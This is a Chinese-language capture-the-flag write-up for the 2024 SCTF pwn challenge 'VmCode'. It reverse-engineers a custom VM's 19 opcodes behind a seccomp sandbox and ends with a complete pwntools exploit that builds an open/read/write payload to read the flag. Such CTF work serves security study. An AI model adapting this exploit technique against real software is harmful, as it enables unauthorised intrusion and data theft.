【pwn16 2024SCTF VmCode】
K3yB0ard
2024年10月03日 15:48
收录于文集
共32篇

刚刚结束的SCTF联赛SCTF的一道虚拟机pwn。这题主要难点就在于对虚拟机指令集的分析,以及程序如何解析opcode。

首先看一下程序保护

checksec

没有canary并且got表可写。

看一下程序逻辑:

main

main开始时候开了沙箱,然后后面估计就是进虚拟机执行opcode了,IDA无法解析,只能嗯看汇编了。首先看一眼沙箱:

sandbox

可以看到允许的系统调用只有open read write和exit,那么这题肯定是要标准ORW来打了。

现在尝试分析一下虚拟机对opcode的解析。

run pwn

直接运行程序有输出的,并且接受我们的输入,找了一下发现程序里并没有完整“shellcode”字符串,也没有write和read函数的调用,那么猜想程序的这些操作也都是通过opcode来实现的。

可以看到程序中有一个code变量、一个stack变量,那么肯定是一个用于当作输入的opcode缓冲区和虚拟机的虚拟栈来运行了。

syscall text

找一下可以看到程序代码段有这么一段代码,用于执行syscall,并且程序也就只有这一段有syscall,那么程序的输入输出肯定是通过这个来实现的,gdb看一下:

write syscall

read syscall

第一次断下来,程序执行的是write,输出了shellcode字符串,第二次断下来,程序执行read,向code+65的位置读入0x50的数据。分析到这可以知道了,程序的函数调用确实都是由固定这一段syscall代码来实现的,程序包含的code变量用作opcode缓冲区来给虚拟机执行。并且我们注意到code初始化的值:

code init val

估计程序这部分初始化的代码就是用来执行输出shelloce字符串+调用read读入数据的功能了。

现在分析本题核心,虚拟机对opcode的解析逻辑:

我们注意到main函数中有这样一段:

位于开启沙箱之后,准备开始进入虚拟机。

vmcode analyse

程序首先初始化rdi和rsi寄存器为0,之后程序从code中取一个字节,存在al中,rsi自增,这里rsi寄存器当作opcode指针来用,我们可以类比为虚拟机的rip指针,用于从头遍历opcode,取操作数和响应的参数执行虚拟机代码逻辑。取出code的一个字节后,将其减掉0x21,结果存放在rax,rax大于等于0的话,会去到0x1257处进一步执行。

0x1257处代码首先将取出上一步rax中的结果放在rcx,之后根据这个rcx结果作为偏移从offset全局变量中取出两个字节的数放在rax,之后程序将当前栈顶数据复制了一份压入栈,并执行ret返回到rcx+rax处执行代码。

分析到这里我们应该已经基本理解虚拟机执行的逻辑了,根据我们输入的值,减掉0x21之后当作偏移,去offset全局变量中取两个字节的数据当作rip偏移,去执行rcx+这个偏移处的代码。这一个字节就是对应的虚拟机opcode了,这里opcode都是大于等于0x21才行,下一步分析一下这个rcx是什么,gdb调试一下:

rcx val

多次调试发现,这里压入栈的rcx就是main+209,对应pie偏移为0x123A,可参考上面main汇编代码查看,接下来去看一下offset全局偏移:

offset

以两个字节为单位,我们得到offset偏移数组为:

代码块
JavaScript
自动换行
复制代码
3A 5F 6D 8A A6 C2 DF F4 F8 10E 122 138 169 186 1A3 1C0 1EB 1FF 218
复制成功

一共19个偏移,将其加上0x123A之后计算得到对应的真实代码地址:

vmcode func

发现就是对应从0x1274开始,以retn分割的一个个代码块。一共19个代码块,对应19种opcode。指令号分别为0+0x21~19+0x21即0x21~0x33.接下来分析每种指令操作的含义:

code数组为虚拟机代码段数据,stack数组为虚拟机的虚拟栈,rsi寄存器看作虚拟机rip,rdi寄存器当作虚拟机rsp。

分析得到所有opcode如下:

代码块
JavaScript
自动换行
复制代码
"""
opcode  func    
0x21    有一个参数off,两字节,call off
0x22    retn执行虚拟栈顶处的代码地址
0x23    第一个参数和第二个参数执行 xor操作
0x24    在虚拟栈上将第一个参数和第三个参数交换位置
0x25    在虚拟栈上将第一个参数和第二个参数交换位置
0x26    有4字节的参数,压入虚拟栈4字节立即数
0x27    将栈上第一个参数由单字节类型扩展为8字节类型
0x28    虚拟栈rsp下滑,等效于pop一个数据,无其他任何操作
0x29    第一个参数shl 8
0x2a    复制栈顶数据并压入栈
0x2b    第一个参数shr 8
0x2c    有一个参数off 如果第一个参数为0则jmp到偏移为off处
0x2d    第一个参数ror 8
0x2e    第一个参数rol 8
0x2f    第一个和第二个参数and操作
0x30    当前栈上第一个参数当作系统调用号,其余三个作调用的函数参数执行syscall
0x31    将rsp压入栈
0x32    将rip压入栈
0x33    exit
"""
复制成功

分析到这我们已经完全了解虚拟机执行逻辑了,接下来直接构造ORW的payload即可。

完整exp如下:

代码块
JavaScript
自动换行
复制代码
from pwn import *
from ctypes import *
from Crypto.Util.number import *
context.arch='amd64'
# libc = ELF('./libc.so.6')
binary = ELF('./pwn')
context.log_level='debug'

# r = process('./pwn')
r = gdb.debug('./pwn')
def call_offset(off):
    return p8(0x21)+p16(off)
def retn():
    return p8(0x22)
def xor():
    return p8(0x23)
def swap_8_18():
    return p8(0x24)
def swap_8_10():
    return p8(0x25)
def push_4_byte(content):
    return p8(0x26)+p32(content)
def byte_2_8byte():
    return p8(0x27)
def pop():
    return p8(0x28)
def shr8():
    return p8(0x29)
def copy_and_push():
    return p8(0x2a)
def shl8():
    return p8(0x2b)
def jump_off_if_zero(off):
    return p8(0x2c)+p16(off)
def ror():
    return p8(0x2d)
def rol():
    return p8(0x2e)
def and_0_1():
    return p8(0x2f)
def syscall():
    return p8(0x30)
def push_rsp():
    return p8(0x31)
def push_rip():
    return p8(0x32)
def exit_():
    return p8(0x33)

r.recvuntil(b'shellcode: ')
pay = push_4_byte(bytes_to_long(b'flag'[::-1]))+push_rsp()+push_4_byte(0)+swap_8_10()+push_4_byte(2)+syscall()#open('flag',0)
pay +=push_rsp()+copy_and_push()+copy_and_push()+copy_and_push()+copy_and_push()+copy_and_push()+copy_and_push()
pay+= push_4_byte(0x30)+swap_8_10()+push_4_byte(3)+push_4_byte(0)+syscall()#read(3,rsp,0x30)
pay+=pop()+copy_and_push()+push_4_byte(0x30)+swap_8_10()+push_4_byte(1)+push_4_byte(1)+syscall()#write(1,rsp,0x30)
r.send(pay)



r.interactive()
复制成功

【注】在read读取flag数据时由于没有可控地址,笔者将其读在虚拟栈上,为给flag输入腾空间,用了多次copy_and_push操作来抬高栈且保证flag首地址始终位于栈顶,后续可以用作read的参数传入。

脚本执行结果:

exp result

成功读出flag。

By  Del0n1x

Keyboard